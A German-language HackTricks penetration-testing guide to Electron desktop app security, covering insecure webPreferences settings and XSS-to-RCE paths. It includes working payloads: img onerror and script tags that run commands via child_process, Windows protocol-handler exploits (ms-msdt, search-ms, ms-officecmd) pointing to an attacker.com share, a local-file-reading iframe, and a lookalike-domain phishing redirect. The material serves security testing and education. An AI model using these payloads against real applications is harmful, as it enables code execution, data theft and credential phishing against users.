Electron-Desktop-Apps

Reading time: 12 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Einführung

Electron kombiniert ein lokales Backend (mit NodeJS) und ein Frontend (Chromium), obwohl es einige der Sicherheitsmechanismen moderner Browser vermissen lässt.

Normalerweise finden Sie den Code der Electron-App in einer .asar-Anwendung. Um den Code zu erhalten, müssen Sie ihn extrahieren:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Im Quellcode einer Electron-App, innerhalb von packet.json, finden Sie die angegebene main.js-Datei, in der die Sicherheitskonfigurationen festgelegt sind.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron hat 2 Prozessarten:

  • Hauptprozess (hat vollständigen Zugriff auf NodeJS)
  • Renderer-Prozess (sollte aus Sicherheitsgründen eingeschränkten Zugriff auf NodeJS haben)

Ein Renderer-Prozess wird ein Browserfenster sein, das eine Datei lädt:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Die Einstellungen des Renderer-Prozesses können im Hauptprozess in der Datei main.js konfiguriert werden. Einige der Konfigurationen werden verhindern, dass die Electron-Anwendung RCE oder andere Schwachstellen hat, wenn die Einstellungen korrekt konfiguriert sind.

Die Electron-Anwendung könnte auf das Gerät zugreifen über Node-APIs, obwohl sie so konfiguriert werden kann, dass dies verhindert wird:

  • nodeIntegration - ist standardmäßig aus. Wenn es aktiviert ist, ermöglicht es den Zugriff auf Node-Funktionen vom Renderer-Prozess.
  • contextIsolation - ist standardmäßig ein. Wenn es deaktiviert ist, sind Haupt- und Renderer-Prozesse nicht isoliert.
  • preload - standardmäßig leer.
  • sandbox - ist standardmäßig deaktiviert. Es wird die Aktionen einschränken, die NodeJS ausführen kann.
  • Node-Integration in Workern
  • nodeIntegrationInSubframes - ist standardmäßig aus.
  • Wenn nodeIntegration aktiviert ist, würde dies die Verwendung von Node.js-APIs in Webseiten ermöglichen, die in iframes innerhalb einer Electron-Anwendung geladen werden.
  • Wenn nodeIntegration deaktiviert ist, werden Preloads im iframe geladen.

Beispiel für eine Konfiguration:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Einige RCE-Payloads von hier:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Verkehr erfassen

Ändern Sie die start-main-Konfiguration und fügen Sie die Verwendung eines Proxys hinzu, wie zum Beispiel:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Lokale Code-Injektion

Wenn Sie eine Electron-App lokal ausführen können, ist es möglich, dass Sie sie dazu bringen können, beliebigen JavaScript-Code auszuführen. Überprüfen Sie, wie:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Wenn nodeIntegration auf ein gesetzt ist, kann der JavaScript-Code einer Webseite die Node.js-Funktionen einfach durch Aufrufen von require() verwenden. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Das in dieser Einstellung angegebene Skript wird vor anderen Skripten im Renderer geladen, sodass es uneingeschränkten Zugriff auf Node-APIs hat:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Daher kann das Skript node-features auf Seiten exportieren:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Wenn contextIsolation aktiviert ist, funktioniert das nicht

RCE: XSS + contextIsolation

Die contextIsolation führt die getrennten Kontexte zwischen den Webseitenskripten und dem internen JavaScript-Code von Electron ein, sodass die JavaScript-Ausführung jedes Codes sich nicht gegenseitig beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE zu eliminieren.

Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:

  1. Willkürliches JavaScript im Renderer ausführen (XSS oder Navigation zu externen Seiten)
  2. Die eingebaute Methode überschreiben, die in Preload oder internem Electron-Code verwendet wird, um eine eigene Funktion zu erstellen
  3. Die Verwendung der überschriebenen Funktion auslösen
  4. RCE?

Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: Im Preload-Code oder im internen Electron-Code:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Umgehung des Klickereignisses

Wenn beim Klicken auf einen Link Einschränkungen gelten, könnten Sie in der Lage sein, diese zu umgehen, indem Sie einen Mittelklick anstelle eines regulären Links klicken.

javascript
window.addEventListener('click', (e) => {

RCE über shell.openExternal

Für weitere Informationen zu diesen Beispielen siehe https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 und https://benjamin-altpeter.de/shell-openexternal-dangers/

Beim Bereitstellen einer Electron-Desktop-Anwendung ist es entscheidend, die richtigen Einstellungen für nodeIntegration und contextIsolation sicherzustellen. Es ist bekannt, dass client-seitige Remote-Code-Ausführung (RCE), die auf Preload-Skripte oder den nativen Code von Electron aus dem Hauptprozess abzielt, mit diesen Einstellungen effektiv verhindert wird.

Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden spezifische Ereignis-Listener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Diese Listener werden vom Desktop-Anwendung überschrieben, um ihre eigene Geschäftslogik zu implementieren. Die Anwendung bewertet, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, openInternally, getroffen. Wenn diese Funktion false zurückgibt, bedeutet dies, dass der Link extern geöffnet werden soll, unter Verwendung der Funktion shell.openExternal.

Hier ist ein vereinfachter Pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Die besten Sicherheitspraktiken von Electron JS raten davon ab, nicht vertrauenswürdige Inhalte mit der Funktion openExternal zu akzeptieren, da dies zu RCE durch verschiedene Protokolle führen könnte. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erklärungen zu diesem Thema kann auf diese Ressource verwiesen werden, die Beispiele für Windows-Protokolle enthält, die diese Schwachstelle ausnutzen können.

Beispiele für Windows-Protokoll-Exploits sind:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

Interne Dateien lesen: XSS + contextIsolation

Das Deaktivieren von contextIsolation ermöglicht die Verwendung von <webview>-Tags, ähnlich wie <iframe>, zum Lesen und Exfiltrieren lokaler Dateien. Ein bereitgestelltes Beispiel zeigt, wie man diese Schwachstelle ausnutzt, um den Inhalt interner Dateien zu lesen:

Darüber hinaus wird eine weitere Methode zum Lesen einer internen Datei geteilt, die eine kritische Schwachstelle zum Lesen lokaler Dateien in einer Electron-Desktop-App hervorhebt. Dies beinhaltet das Injizieren eines Skripts, um die Anwendung auszunutzen und Daten zu exfiltrieren:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Alte Chromium

Wenn das chromium, das von der Anwendung verwendet wird, alt ist und es bekannte Sicherheitsanfälligkeiten gibt, könnte es möglich sein, es zu nutzen und RCE über ein XSS zu erhalten.
Siehe ein Beispiel in diesem writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing über interne URL Regex-Umgehung

Angenommen, Sie haben ein XSS gefunden, aber Sie können RCE nicht auslösen oder interne Dateien stehlen, könnten Sie versuchen, es zu nutzen, um Anmeldeinformationen über Phishing zu stehlen.

Zunächst müssen Sie wissen, was passiert, wenn Sie versuchen, eine neue URL zu öffnen, indem Sie den JS-Code im Front-End überprüfen:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Der Aufruf von openInternally entscheidet, ob der Link im Desktop-Fenster geöffnet wird, da es sich um einen Link handelt, der zur Plattform gehört, oder ob er im Browser als Drittanbieter-Ressource geöffnet wird.

Falls der von der Funktion verwendete Regex anfällig für Umgehungen ist (zum Beispiel durch das Nicht-Escapen der Punkte von Subdomains), könnte ein Angreifer das XSS ausnutzen, um ein neues Fenster zu öffnen, das sich in der Infrastruktur des Angreifers befindet und den Benutzer nach Anmeldeinformationen fragt:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Tools

  • Electronegativity ist ein Tool zur Identifizierung von Fehlkonfigurationen und Sicherheitsantipatterns in auf Electron basierenden Anwendungen.
  • Electrolint ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
  • nodejsscan zur Überprüfung auf anfällige Drittanbieterbibliotheken
  • Electro.ng: Sie müssen es kaufen

Labs

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s finden Sie ein Labor, um anfällige Electron-Apps auszunutzen.

Einige Befehle, die Ihnen im Labor helfen werden:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks